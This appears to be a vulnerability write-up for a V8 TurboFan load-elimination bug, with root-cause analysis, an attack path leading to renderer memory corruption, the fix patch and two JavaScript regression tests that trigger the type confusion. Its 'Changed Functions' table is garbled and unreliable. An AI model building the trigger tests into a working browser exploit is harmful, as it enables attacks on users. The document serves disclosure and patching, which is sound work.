CVE-2026-79236
Overview
Background
- `LoadElimination`
- A TurboFan compiler pass that caches (reuses) loads of object fields and
PropertyArrayslots by tracking their known values across a sequence of effects, eliminating redundant memory reads. - `CheckMaps`
- A TurboFan node that verifies a receiver’s map; with
CheckMapsFlag::kTryMigrateInstance(orkTryMigrateInstanceAndDeopt) it may callJSObject::MigrateToMapat runtime to migrate a deprecated-map instance in place. - Instance migration
JSObject::MigrateToMapmutates a receiver in place: it can reallocate thePropertyArray, restructure in-object fields, and change field representations (e.g.Smi→Doubleby boxing the value into a mutableHeapNumber).- Tracked fields
LoadElimination’s per-object state of known field values (KillFields) and known constant field values (KillConstField) that later loads may reuse instead of re-reading memory.
Root Cause Analysis
When TurboFan compiles property accesses, a CheckMaps node carrying a migrate flag can, at runtime, invoke JSObject::MigrateToMap and mutate the receiver in place — reallocating its PropertyArray and changing field layouts and representations. LoadElimination::ReduceCheckMaps and ComputeLoopState treated CheckMaps purely as a map guard and only updated the receiver’s tracked maps, never invalidating the receiver’s tracked field values across the migration point.
As a result, a load performed before the CheckMaps (e.g. a Smi-typed in-object field value, or the old PropertyArray pointer) remained cached and could be reused after migration. After migration, that same memory holds a different type or lives in a reallocated backing store — for example a Smi slot has been rewritten to hold a mutable HeapNumber reference. Reusing the stale cached value made the compiler operate on post-migration memory with the pre-migration type/layout, producing a type confusion.
The fix makes both functions call KillFields and KillConstField on the receiver whenever the CheckMaps carries kTryMigrateInstance or kTryMigrateInstanceAndDeopt, before SetMaps.
CheckMaps with a migrate flag is not a pure guard — it is a potential in-place mutation of the receiver’s layout and representations, so any load-elimination state for that object’s fields must be discarded at that point exactly as it would be after an arbitrary side-effecting call.Attack Path
- Shape a migratable object
Script creates an object whose map becomes deprecated so that a later access will compile to a
CheckMapswithkTryMigrateInstance. - Prime the cache
An IC-heavy path loads an in-object
Smifield (y) so thatLoadEliminationrecords its value/representation as a tracked field before the guard. - Trigger migration
The
CheckMapsexecutes, andJSObject::MigrateToMapboxesyfromSmito a mutableHeapNumberand/or reallocates thePropertyArray, changing the receiver’s layout in place. - Reuse stale load
TurboFan reuses the pre-migration cached load, reading the post-migration memory as the wrong type (
Smibits interpreted as a heap pointer, or vice versa). - Corrupt memory The type confusion yields an out-of-bounds or fake-object primitive, giving arbitrary read/write in the renderer.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
iftest/mjsunit/regress/regress-546670199-inobject.js |
modified | |
fortest/mjsunit/regress/regress-546670199-inobject.js |
modified | |
iftest/mjsunit/regress/regress-546670199.js |
modified | |
fortest/mjsunit/regress/regress-546670199.js |
modified |
Files Changed
src/compiler/load-elimination.cctest/mjsunit/regress/regress-546670199-inobject.jstest/mjsunit/regress/regress-546670199.js
Audit Directions
- Mutating guards treated as pureAudit every optimizer pass that special-cases
CheckMaps/map checks for other nodes whose flags permit in-place mutation (migration, deprecation, transition) and confirm each invalidates cached field/element state, not just tracked maps. - State kill on migration pointsSearch
LoadEliminationand sibling caches (element/field/store elimination) for effect nodes that can callJSObject::MigrateToMapor reallocate backing stores, and verifyKillFields/KillConstField/element invalidation is applied at those points. - Representation-change hazardsLook for reuse of loads whose representation can change under the object (
Smi→Doubleboxing to mutableHeapNumber, in-object→out-of-object relocation) where the compiler assumes a stable type across a potentially mutating node.
Patch
From be842e713c8b12019099b2eec994f0d887ecfa2c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Thu, 20 Aug 2026 11:53:16 +0200
Subject: [PATCH] [compiler] Invalidate tracked fields on CheckMaps with instance migration
When TurboFan compiles property accesses, CheckMaps nodes with
CheckMapsFlag::kTryMigrateInstance (or kTryMigrateInstanceAndDeopt)
can trigger runtime instance migration (JSObject::MigrateToMap).
Instance migration mutates the receiver object in place, allocating
a new PropertyArray, restructuring in-object fields, and changing
field representations (e.g. Smi to Double via mutable HeapNumbers).
Previously, LoadElimination::ReduceCheckMaps and ComputeLoopState
failed to invalidate tracked fields on the receiver object. This
allowed stale PropertyArray loads or in-object field loads to be
reused across migration points, leading to type confusion and
arbitrary memory corruption.
This CL fixes the issue by invalidating all tracked fields and const
fields on the receiver object when migration flags are present on
CheckMaps and the receiver's map is not already known to be in the
target map set.
TAG=agy
CONV=116cff73-fbd6-4c33-bb74-491dcdc536ff
Fixed: 546670199
Change-Id: Ia520e8fb3da8a224309acd640b3a4bec7fe375cb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8251985
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Reviewed-by: Patrick Thier <pthier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#109390}
---
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index 7659f99..ca52f44 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -784,7 +784,8 @@
}
Reduction LoadElimination::ReduceCheckMaps(Node* node) {
- ZoneRefSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
+ CheckMapsParameters const& p = CheckMapsParametersOf(node->op());
+ ZoneRefSet<Map> const& maps = p.maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
@@ -794,6 +795,12 @@
if (maps.contains(object_maps)) return Replace(effect);
// TODO(turbofan): Compute the intersection.
}
+ if (p.flags() & (CheckMapsFlag::kTryMigrateInstance |
+ CheckMapsFlag::kTryMigrateInstanceAndDeopt)) {
+ state = state->KillFields(object, MaybeHandle<Name>(), zone());
+ state = state->KillConstField(
+ object, IndexRange(0, kMaxTrackedFieldsPerObject), zone());
+ }
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}
@@ -1452,7 +1459,17 @@
state = state->KillElement(object, index, zone());
break;
}
- case IrOpcode::kCheckMaps:
+ case IrOpcode::kCheckMaps: {
+ CheckMapsParameters const& p = CheckMapsParametersOf(current->op());
+ if (p.flags() & (CheckMapsFlag::kTryMigrateInstance |
+ CheckMapsFlag::kTryMigrateInstanceAndDeopt)) {
+ Node* const object = NodeProperties::GetValueInput(current, 0);
+ state = state->KillFields(object, MaybeHandle<Name>(), zone());
+ state = state->KillConstField(
+ object, IndexRange(0, kMaxTrackedFieldsPerObject), zone());
+ }
+ break;
+ }
case IrOpcode::kStoreTypedElement: {
// Doesn't affect anything we track with the state currently.
break;
diff --git a/test/mjsunit/regress/regress-546670199-inobject.js b/test/mjsunit/regress/regress-546670199-inobject.js
new file mode 100644
index 0000000..324acfb
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199-inobject.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Only in-object properties 'x' and 'y' (no out-of-object properties).
+function decorate(o, x, y) {
+ o.x = x;
+ o.y = y;
+ return o;
+}
+
+function victim(o, storeY, value) {
+ const y_box = o.y;
+ if (storeY) {
+ o.y = value;
+ }
+ return y_box;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.y as homomorphic in-object load across all maps.
+for (const s of shapes) {
+ victim(s, false, 0);
+}
+
+// 2. Train o.y store on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+// is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+// migrate the in-object field 'y' from Smi to Double, allocating a
+// HeapNumber box at the in-object offset.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
diff --git a/test/mjsunit/regress/regress-546670199.js b/test/mjsunit/regress/regress-546670199.js
new file mode 100644
index 0000000..9528db8
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Fill in-object properties so 'x' and 'y' are placed in out-of-object
+// PropertyArray.
+function decorate(object, x, y) {
+ object.p0 = 0;
+ object.p1 = 1;
+ object.p2 = 2;
+ object.p3 = 3;
+ object.p4 = 4;
+ object.p5 = 5;
+ object.p6 = 6;
+ object.p7 = 7;
+ object.p8 = 8;
+ object.p9 = 9;
+ object.x = x;
+ object.y = y;
+ return object;
+}
+
+function victim(o, storeY, value) {
+ const x = o.x;
+ if (storeY) {
+ o.y = value;
+ }
+ return x;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.x as homomorphic across all maps.
+for (const s of shapes) {
+ victim(s, false, 0);
+}
+
+// 2. Train o.y on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+// is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+// migrate the instance to the double-field map and allocate a new
+// PropertyArray.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
Regression Test / PoC
diff --git a/test/mjsunit/regress/regress-546670199-inobject.js b/test/mjsunit/regress/regress-546670199-inobject.js
new file mode 100644
index 0000000..324acfb
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199-inobject.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Only in-object properties 'x' and 'y' (no out-of-object properties).
+function decorate(o, x, y) {
+ o.x = x;
+ o.y = y;
+ return o;
+}
+
+function victim(o, storeY, value) {
+ const y_box = o.y;
+ if (storeY) {
+ o.y = value;
+ }
+ return y_box;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.y as homomorphic in-object load across all maps.
+for (const s of shapes) {
+ victim(s, false, 0);
+}
+
+// 2. Train o.y store on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+// is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+// migrate the in-object field 'y' from Smi to Double, allocating a
+// HeapNumber box at the in-object offset.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);
diff --git a/test/mjsunit/regress/regress-546670199.js b/test/mjsunit/regress/regress-546670199.js
new file mode 100644
index 0000000..9528db8
--- /dev/null
+++ b/test/mjsunit/regress/regress-546670199.js
@@ -0,0 +1,75 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --homomorphic-ic
+// Flags: --max-valid-polymorphic-map-count=4
+
+'use strict';
+
+// 9 constructors ensure we exceed the polymorphic IC limit (4) and fill the
+// homomorphic IC cache (8).
+const constructors = Array.from({length: 9}, () => new Function(''));
+const targetIndex = constructors.length - 1;
+
+// Fill in-object properties so 'x' and 'y' are placed in out-of-object
+// PropertyArray.
+function decorate(object, x, y) {
+ object.p0 = 0;
+ object.p1 = 1;
+ object.p2 = 2;
+ object.p3 = 3;
+ object.p4 = 4;
+ object.p5 = 5;
+ object.p6 = 6;
+ object.p7 = 7;
+ object.p8 = 8;
+ object.p9 = 9;
+ object.x = x;
+ object.y = y;
+ return object;
+}
+
+function victim(o, storeY, value) {
+ const x = o.x;
+ if (storeY) {
+ o.y = value;
+ }
+ return x;
+}
+
+const staleSmi = 0x3fffffff;
+
+// Allocate objects before deprecation so their 'y' field has Smi
+// representation.
+const shapes = constructors.map((C, i) => decorate(new C(), 100 + i, staleSmi));
+const toMigrate = decorate(new constructors[targetIndex](), 112, staleSmi);
+const unmigrated = decorate(new constructors[targetIndex](), 112, staleSmi);
+
+%PrepareFunctionForOptimization(victim);
+
+// 1. Train o.x as homomorphic across all maps.
+for (const s of shapes) {
+ victim(s, false, 0);
+}
+
+// 2. Train o.y on target map while 'y' still has Smi representation.
+victim(shapes[targetIndex], true, staleSmi);
+
+// 3. Deprecate target map by storing a Double to 'y'.
+shapes[targetIndex].y = 1.25;
+
+// 4. Trigger IC migration on toMigrate to mark target map with
+// is_migration_target=true.
+void toMigrate.y;
+
+// 5. Optimize victim with TurboFan.
+%OptimizeFunctionOnNextCall(victim);
+victim(shapes[targetIndex], false, 0);
+
+// 6. Trigger: Passing 'unmigrated' causes CheckMaps(kTryMigrateInstance) to
+// migrate the instance to the double-field map and allocate a new
+// PropertyArray.
+victim(unmigrated, true, 13);
+assertEquals(13, unmigrated.y);
+assertEquals(112, unmigrated.x);